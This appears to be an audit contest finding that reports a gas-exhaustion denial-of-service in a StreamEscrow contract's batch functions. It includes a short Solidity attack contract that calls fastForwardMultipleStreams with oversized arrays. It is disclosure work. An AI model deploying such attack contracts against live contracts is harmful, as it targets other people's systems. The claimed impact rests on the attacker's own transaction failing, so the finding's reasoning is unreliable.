Flat Tartan Mantis
Medium
A vulnerability exists in the StreamEscrow
contract, specifically in the cancelStreams
and fastForwardMultipleStreams
functions, where unbounded processing of input arrays can lead to gas exhaustion. This can result in denial of service (DoS) for users attempting to interact with the contract.
No response
No response
-
Deploy Malicious Contract The attacker deploys a contract (GasExhaustionAttack) that creates large arrays and attempts to call the vulnerable functions.
-
Generate Large Arrays The attacker creates arrays of arbitrary length using the malicious contract.
-
Call Vulnerable Function The attacker calls fastForwardMultipleStreams with the large arrays, causing the transaction to consume excessive gas and fail.
Denial of Service (DoS): The contract becomes unusable for legitimate users during an attack.
pragma solidity ^0.8.19;
contract GasExhaustionAttack {
StreamEscrow public target;
constructor(address _target) {
target = StreamEscrow(_target);
}
function attack(uint256 largeNumber) external {
uint256[] memory nounIds = new uint256[](largeNumber);
uint32[] memory ticks = new uint32[](largeNumber);
for(uint256 i = 0; i < largeNumber; i++) {
nounIds[i] = i + 1;
ticks[i] = 1;
}
target.fastForwardMultipleStreams(nounIds, ticks);
}
}
No response